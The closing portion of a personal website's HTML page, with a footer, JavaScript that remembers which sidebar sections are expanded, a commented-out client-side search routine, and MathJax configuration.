|
||
|
</div>
|
||
|
<div id="footer">
|
||
|
|
||
|
<p></p>
|
||
|
<center>
|
||
|
© Stefan Friese
|
||
|
</center>
|
||
|
|
||
|
</div>
|
||
|
|
||
|
<script>
|
||
|
function linkClick(obj) {
|
||
|
if (obj.open) {
|
||
|
console.log('open');
|
||
|
if (sessionStorage.getItem(obj.id) && !(sessionStorage.getItem(obj.id) === "open")) {
|
||
|
sessionStorage.removeItem(obj.id);
|
||
|
}
|
||
|
sessionStorage.setItem(obj.id,"open");
|
||
|
console.log(obj.id);
|
||
|
|
||
|
} else {
|
||
|
console.log('closed');
|
||
|
sessionStorage.removeItem(obj.id);
|
||
|
|
||
|
}
|
||
|
// if (obj.open) {
|
||
|
// console.log('open');
|
||
|
// if (sessionStorage.getItem("opened") && !(sessionStorage.getItem("opened") === obj.id)) {
|
||
|
// sessionStorage.removeItem("opened");
|
||
|
// }
|
||
|
// sessionStorage.setItem("opened", obj.id);
|
||
|
// console.log(obj);
|
||
|
|
||
|
// } else {
|
||
|
// console.log('closed');
|
||
|
// sessionStorage.removeItem("opened");
|
||
|
//
|
||
|
// }
|
||
|
}
|
||
|
|
||
|
//if ( sessionStorage.getItem("opened")) {
|
||
|
// var item = sessionStorage.getItem("opened")
|
||
|
// document.getElementById(item)['open'] = 'open';
|
||
|
//}
|
||
|
let _keys = Object.keys(sessionStorage);
|
||
|
if (_keys) {
|
||
|
for ( let i = 0; i < _keys.length; i++ ) {
|
||
|
document.getElementById(_keys[i])['open'] = 'open';
|
||
|
}
|
||
|
}
|
||
|
|
||
|
|
||
|
|
||
|
// const detailsElement = document.querySelector('.details-sidebar');
|
||
|
// detailsElement.addEventListener('toggle', event => {
|
||
|
// if (event.target.open) {
|
||
|
// console.log('open');
|
||
|
// if (sessionStorage.getItem("opened") && !(sessionStorage.getItem("opened") === detailsElement.id)) {
|
||
|
// sessionStorage.removeItem("opened");
|
||
|
// }
|
||
|
// sessionStorage.setItem("opened", detailsElement.id);
|
||
|
// console.log(detailsElement);
|
||
|
//
|
||
|
// } else {
|
||
|
// console.log('closed');
|
||
|
// sessionStorage.removeItem("opened");
|
||
|
//
|
||
|
// }
|
||
|
// });
|
||
|
//
|
||
|
// async function fetchIndexJSON() {
|
||
|
// const response = await fetch('/index.json');
|
||
|
// const index = await response.json();
|
||
|
// return index;
|
||
|
// }
|
||
|
// // Extract the `q` query parameter
|
||
|
//var queryStringRegex = /[\?&]q=([^&]+)/g;
|
||
|
//var matches = queryStringRegex.exec(window.location.search);
|
||
|
//if(matches && matches[1]) {
|
||
|
// var value = decodeURIComponent(matches[1].replace(/\+/g, '%20'));
|
||
|
//
|
||
|
//
|
||
|
// // fetchIndexJSON()
|
||
|
// // .then(index => { console.log(index['index']);});
|
||
|
// // Load the posts to search
|
||
|
// fetch('/index').then(function(posts) {
|
||
|
// // Remember to include Fuse.js before this script.
|
||
|
//
|
||
|
// var fuse = new Fuse(posts, {
|
||
|
// keys: ['title', 'tags', 'content'] // What we're searching
|
||
|
// });
|
||
|
//
|
||
|
// // Run the search
|
||
|
// var results = fuse.search(value);
|
||
|
// //console.log(results);
|
||
|
//
|
||
|
// // Generate markup for the posts, implement SearchResults however you want.
|
||
|
// // var $results = SearchResults(results);
|
||
|
//
|
||
|
// // Add the element to the empty <div> from before.
|
||
|
//// $('#searchResults').append($results);
|
||
|
// });
|
||
|
//}
|
||
|
</script>
|
||
|
|
||
|
<script type="text/javascript" src="https://cdn.jsdelivr.net/npm/mathjax@2/MathJax.js"></script>
|
||
|
<script src="https://cdn.mathjax.org/mathjax/latest/MathJax.js?config=TeX-AMS-MML_HTMLorMML" type="text/javascript"></script>
|
||
|
</script>
|
||
|
<script type="text/x-mathjax-config">
|
||
|
MathJax.Hub.Config({
|
||
|
config: ["MMLorHTML.js"],
|
||
|
jax: ["input/TeX", "output/HTML-CSS", "output/NativeMML"],
|
||
|
extensions: ["MathMenu.js", "MathZoom.js"]
|
||
|
});
|
||
|
</script>
|
||
|
</body>
|
||
|
</html>
|